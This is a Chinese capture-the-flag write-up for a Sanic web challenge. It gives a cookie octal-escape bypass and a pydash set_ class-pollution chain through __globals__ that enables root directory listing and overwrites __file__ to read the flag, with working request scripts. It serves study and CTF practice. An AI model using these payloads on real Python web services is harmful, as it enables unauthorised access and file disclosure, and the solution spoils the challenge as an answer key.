拿到了唯一解,简单分析一下思路
首先扫描路径发现 /src
, 访问得到源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
| from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2
class Pollute:
def __init__(self):
pass
app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)
@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())
@app.route("/login")
async def login(request):
user = request.cookies.get("user")
if user.lower() == 'adm;n':
request.ctx.session['admin'] = True
return text("login success")
return text("login fail")
@app.route("/src")
async def src(request):
return text(open(__file__).read())
@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
if request.ctx.session.get('admin') == True:
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")
return text("forbidden")
if __name__ == '__main__':
app.run(host='0.0.0.0')
|
cookie 里面有个 ;
直接传会被截断,一眼考的 RFC2068 的编码规则
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| Many HTTP/1.1 header field values consist of words separated by LWS
or special characters. These special characters MUST be in a quoted
string to be used within a parameter value.
These quoting routines conform to the RFC2109 specification, which in
turn references the character definitions from RFC2068. They provide
a two-way quoting algorithm. Any non-text character is translated
into a 4 character sequence: a forward-slash followed by the
three-digit octal equivalent of the character. Any '\' or '"' is
quoted with a preceeding '\' slash.
Check for special sequences. Examples:
\012 --> \n
\" --> "
|
登录拿到 admin
1
2
3
4
5
6
7
8
9
10
11
| import requests
base = ''
s = requests.Session()
s.cookies.update({
'user': '"adm\\073n"'
})
s.get(base + '/login')
|
pydash 标了版本,存在 python “原型链” 污染,分析源码得到 path 解析逻辑 pydash/utilities.py:1262
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| def to_path_tokens(value):
"""Parse `value` into :class:`PathToken` objects."""
if pyd.is_string(value) and ("." in value or "[" in value):
# Since we can't tell whether a bare number is supposed to be dict key or a list index, we
# support a special syntax where any string-integer surrounded by brackets is treated as a
# list index and converted to an integer.
keys = [
PathToken(int(key[1:-1]), default_factory=list)
if RE_PATH_LIST_INDEX.match(key)
else PathToken(unescape_path_key(key), default_factory=dict)
for key in filter(None, RE_PATH_KEY_DELIM.split(value))
]
elif pyd.is_string(value) or pyd.is_number(value):
keys = [PathToken(value, default_factory=dict)]
elif value is UNSET:
keys = []
else:
keys = value
return keys
|
提取出 RE_PATH_KEY_DELIM
正则表达式分析,结合题目过滤的 _.
1
| (?<!\\)(?:\\\\)*\.|(\[\d+\])
|
发现 \\.
会当作 .
进行处理,可以绕过题目的过滤,而 \.
会作为 .
的转义不进行分割。接下来挖掘可污染变量,注意到注册的 static 路由会添加 DirectoryHandler
到 route
1
| app.static("/static/", "./static/")
|
1
2
3
4
5
6
| directory_handler = DirectoryHandler(
uri=uri,
directory=file_or_directory,
directory_view=directory_view,
index=index,
)
|
如果将 directory_view
污染为 True
, directory
污染为根目录即可列出根目录文件,猜测 flag 在根目录下
接下来分析污染方法,注意 pydash
只能处理 list
、obj
、dict
而不能处理 tuple
和 set
等对象,在分析时需要排除
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| if isinstance(obj, dict):
if allow_override or key not in obj:
obj[key] = value
elif isinstance(obj, list):
key = int(key)
if key < len(obj):
if allow_override:
obj[key] = value
else:
if key > len(obj):
# Pad list object with None values up to the index key so we can append the value
# into the key index.
obj[:] = (obj + [None] * key)[:key]
obj.append(value)
elif (allow_override or not hasattr(obj, key)) and obj is not None:
setattr(obj, key, value)
|
发现通过 app.router.name_index['__mp_main__.static']
可以访问到 DirectoryHandler
,key 里面有个 .
。根据之前分析的正则可以使用 \.
转义。DirectoryHandler
的 directory
为 Path
对象(这个 class 实现似乎和平台相关),分析发现污染 __parts
为分割的路径列表即可
1
2
3
4
5
6
7
8
9
10
11
12
| @classmethod
def _from_parts(cls, args, init=True):
# We need to call _parse_args on the instance, so as to get the
# right flavour.
self = object.__new__(cls)
drv, root, parts = self._parse_args(args)
self._drv = drv
self._root = root
self._parts = parts
if init:
self._init()
return self
|
那么可以得到污染 DirectoryHandler
的 exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| import requests
base = ''
s = requests.Session()
s.cookies.update({
'user': '"adm\\073n"'
})
s.get(base + '/login')
# 开启目录浏览
data = {"key": "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\.static.handler.keywords.directory_handler.directory_view", "value": True}
# 污染目录路径
# data = {"key": "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\.static.handler.keywords.directory_handler.directory._parts", "value": ['/']}
r = s.post(base + '/admin', json=data)
print(r.text)
|
访问 /static/
得到 flag 文件名 24bcbd0192e591d6ded1_flag
,最后污染 __file__
为 /24bcbd0192e591d6ded1_flag
访问 /src
得到 flag
1
2
3
4
5
6
7
| data = {"key": "__class__\\\\.__init__\\\\.__globals__\\\\.__file__", "value": "/24bcbd0192e591d6ded1_flag"}
r = s.post(base + '/admin', json=data)
print(r.text)
print(s.get(base + '/src').text)
|